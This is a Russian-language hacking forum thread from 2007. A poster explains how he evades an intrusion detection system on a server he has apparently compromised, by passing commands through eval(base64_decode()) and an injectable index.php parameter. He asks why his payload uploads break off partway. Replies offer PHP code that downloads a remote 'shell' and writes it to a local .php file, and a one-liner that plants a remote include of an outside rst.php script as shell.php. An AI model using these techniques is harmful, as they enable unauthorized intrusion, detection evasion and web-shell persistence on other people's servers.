PDA

Просмотр полной версии : Борьба с Ids


Xex
08.08.2007, 14:35
Здраствуйте,

Вобщем на одном серве, вероятно, стоит IDS, либо любой "другой ИИ",
обрубающий коннект при всяких пошлых запросах типа index.php?iop=ls%20-la.
обойти его оказалось просто - примерно такой конструкцией, eval(base64_decode()).
Но вот проблема, не могу корректно загрузить на серв что мне нужно, т.е. wget, curl работают и даже загружают, но не весь файл а только РОВНО 62848 байт.
попробовал PHP'ой функцией copy - результат тот же, тоже льет но не больше чем 62848 байт.
Пробовал закачать 62848, затем докачать - не работает. в phpinfo() аплод разрешен и размер макс. аплода не превышает объема моего файла.
Подскажите у кого есть какие мысли по этой проблеме и возможное решение.

Спасибо.

groundhog
08.08.2007, 14:42
Аплоад может быть ограничен в конфиге виртуального хоста, а не в самом php.ini... А что тебе мешает разбить файл на части, скачать по частям, а потом copy a+b+c? :)

andy13
08.08.2007, 18:34
или заархивировать, скачать и потом распаковать.

Xex
08.08.2007, 20:14
Аплоад может быть ограничен в конфиге виртуального хоста, а не в самом php.ini... А что тебе мешает разбить файл на части, скачать по частям, а потом copy a+b+c? :)
ну это - да, вариант,
но все же хотелось бы разобраться с чем это связанно,
а про вирт хост проверю

Xex
09.08.2007, 20:38
нет, в размер аплода везде нормальный,

или заархивировать, скачать и потом распаковать.
слишком большой размер

m0nzt3r
09.08.2007, 23:36
а если такой вариант:

$data=@implode('',file('http://shell'));
//и дальше записать в файл?-->
$fp=@fopen('./local/file.php','wb');
@fputs($fp,$data);
@fclose($fp);

Xex
10.08.2007, 00:32
а если такой вариант:

$data=@implode('',file('http://shell'));
//и дальше записать в файл?-->
$fp=@fopen('./local/file.php','wb');
@fputs($fp,$data);
@fclose($fp);

спасибо, попробую,
я еще думаю попробовать читать маленькими блоками,
спасибо за решение.
но хотелось бы выяснить - источник проблемы

Xex
11.08.2007, 23:25
хм, все перепробовал, всякие конструкции, каждый день меняется размер скачиваемого файла, от 6-20 кб, не больше - вобще жесть. хз уже что делать

Alexsize
11.08.2007, 23:28
А такой вариант, что на винте место квотой для этого юзера ограничено не рассматриваешь? Я как то тоже полночи Ивана-потрошителя ставил.. А всего навсего место на винте закончилось=(

Xex
12.08.2007, 01:56
нет, к сожалению, проблема не в этом,
проверял,
но спасибо за отклик

c411k
13.08.2007, 22:06
обойти его оказалось просто - примерно такой конструкцией, eval(base64_decode()).
Но вот проблема, не могу корректно загрузить на серв что мне нужно, т.е. wget, curl работают и даже загружают, но не весь файл а только РОВНО 62848 байт.
попробовал PHP'ой функцией copy - результат тот же, тоже льет но не больше чем 62848 байт.
Пробовал закачать 62848, затем докачать - не работает. в phpinfo() аплод разрешен и размер макс. аплода не превышает объема моего файла.
Подскажите у кого есть какие мысли по этой проблеме и возможное решение.

Спасибо.

эммм, хватит извращаться и лить что либо ) пробни обычный удал.инклуд.
в eval echo '<?@include("http://gbl.nightmail.ru/rst.php";?>' > shell.php